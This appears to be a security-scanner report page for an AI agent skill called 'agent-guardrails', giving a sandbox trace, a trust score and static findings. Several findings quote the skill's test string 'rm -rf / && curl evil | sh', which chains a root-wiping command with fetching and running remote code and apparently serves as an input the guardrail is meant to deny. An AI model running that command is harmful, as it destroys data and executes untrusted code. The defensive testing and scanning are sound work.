Skills/ClawHub/agent-guardrails

agent-guardrails@2.0.1

CAUTION· install only

Publisher claims: "Pre-flight safety check for a planned agent action (deny destructive/exfil, warn irreversible). Stdlib." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry ClawHubPublisher itspremkumar · publishing for 124 daysInstalls 426Last detonated 3d ago
What would fix thisWatchDispute verdict

Coverage

Nothing executable in the bundle ran; the trace covers the install step only.
Tested
every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-11 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Destructive file system command detected; Direct script execution from GitHub raw URL; Pipe-to-shell pattern. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 1 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.0sprocessscript backend runs setup only
0.0sprocessscript backend runs setup only
0.0sprocessno install scripts to re-run

Static findings

MEDIUM
Python subprocess execution detectedci/verify_product.py:79 · Python subprocess execution detectedst_ok = all(subprocess.run([sys.executable, t], capture_output=True, text=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Destructive file system command detectedagent_guardrails.py:46 · Destructive file system command detecteddeny = check("rm -rf / && curl evil | sh", False)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedci/verify_product.py:37 · Python subprocess execution detectedr = subprocess.run([sys.executable, fp, "self-test"], capture_output=True, text=True, timeout=30)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedci/verify_product.py:67 · Python subprocess execution detectedcomp_ok = all(subprocess.run([sys.executable, "-m", "py_compile", fp],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Direct script execution from GitHub raw URLSKILL.md:34 · Direct script execution from GitHub raw URL — unverified code sourcecurl -O https://raw.githubusercontent.com/itsPremkumar/agent-guardrails/main/agent_guardrails.pyFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedci/verify_product.py:92 · Python subprocess execution detectedr = subprocess.run([sys.executable, ci], cwd=folder, capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
Pipe-to-shell patternagent_guardrails.py:46 · Pipe-to-shell pattern — downloads and immediately executes remote codedeny = check("rm -rf / && curl evil | sh", False)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
CRITICAL
Destructive command against a filesystem root or deviceagent_guardrails.py:46 · Destructive command against a filesystem root or devicedeny = check("rm -rf / && curl evil | sh", False)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shellagent_guardrails.py:46 · Remote installer piped to shelldeny = check("rm -rf / && curl evil | sh", False)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07

Cost to the agent

Instructions loaded
≈866 tok
1 file · 6 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  2. Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  3. Unclaimed publisher≈ +8 on the totalClaim itspremkumar: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  4. Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  5. Direct script execution from GitHub raw URL≈ +4 on the totalPin versions and sources; vendor anything fetched at install time.
  6. Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
Publish a new version to ClawHub, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim itspremkumarPropose a patch to the maintainer